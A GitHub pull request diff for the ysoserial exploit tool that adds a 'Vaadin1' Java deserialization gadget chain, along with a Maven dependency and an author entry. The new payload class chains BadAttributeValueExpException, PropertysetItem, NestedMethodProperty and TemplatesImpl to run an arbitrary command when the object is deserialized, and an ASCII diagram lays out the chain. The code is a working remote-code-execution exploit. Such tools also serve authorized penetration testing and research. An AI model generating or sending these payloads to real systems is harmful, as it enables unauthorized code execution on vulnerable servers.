Merge pull request frohoff#91 from supersache/vaadingadget

Vaadin gadget
kingkaki · Nov 20, 2018 · f31677f · f31677f
2 parents 8cf9802 + e0b15a3
commit f31677f
Show file tree

Hide file tree

Showing 3 changed files with 88 additions and 0 deletions.
diff --git a/pom.xml b/pom.xml
@@ -308,6 +308,11 @@
 			<artifactId>clojure</artifactId>
 			<version>1.8.0</version>
 		</dependency>
+		<dependency>
+			<groupId>com.vaadin</groupId>
+			<artifactId>vaadin-server</artifactId>
+			<version>7.7.14</version>
+		</dependency>
 	</dependencies>
 
 	<profiles>

diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java
@@ -0,0 +1,82 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.vaadin.data.util.NestedMethodProperty;
+import com.vaadin.data.util.PropertysetItem;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
+@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Authors({ Authors.KULLRICH })
+public class Vaadin1 implements ObjectPayload<Object>
+{
+//  +-------------------------------------------------+
+//  |                                                 |
+//  |  BadAttributeValueExpException                  |
+//  |                                                 |
+//  |  val ==>  PropertysetItem                       |
+//  |                                                 |
+//  |  readObject() ==> val.toString()                |
+//  |          +                                      |
+//  +----------|--------------------------------------+
+//             |
+//             |
+//             |
+//        +----|-----------------------------------------+
+//        |    v                                         |
+//        |  PropertysetItem                             |
+//        |                                              |
+//        |  toString () => getPropertyId().getValue ()  |
+//        |                                       +      |
+//        +---------------------------------------|------+
+//                                                |
+//                  +-----------------------------+
+//                  |
+//            +-----|----------------------------------------------+
+//            |     v                                              |
+//            |  NestedMethodProperty                              |
+//            |                                                    |
+//            |  getValue() => java.lang.reflect.Method.invoke ()  |
+//            |                                           |        |
+//            +-------------------------------------------|--------+
+//                                                        |
+//                    +-----------------------------------+
+//                    |
+//                +---|--------------------------------------------+
+//                |   v                                            |
+//                |  TemplatesImpl.getOutputProperties()           |
+//                |                                                |
+//                +------------------------------------------------+
+
+    @Override
+    public Object getObject (String command) throws Exception
+    {
+        Object templ = Gadgets.createTemplatesImpl (command);
+        PropertysetItem pItem = new PropertysetItem ();        
+
+        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
+        pItem.addItemProperty ("outputProperties", nmprop);
+
+        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
+        Reflections.setFieldValue (b, "val", pItem);
+
+        return b;
+    }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Vaadin1.class, args);
+    }
+
+}
diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java
@@ -18,6 +18,7 @@
     String GEBL = "gebl" ;
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
+    String KULLRICH = "kai_ullrich";
 
     String[] value() default {};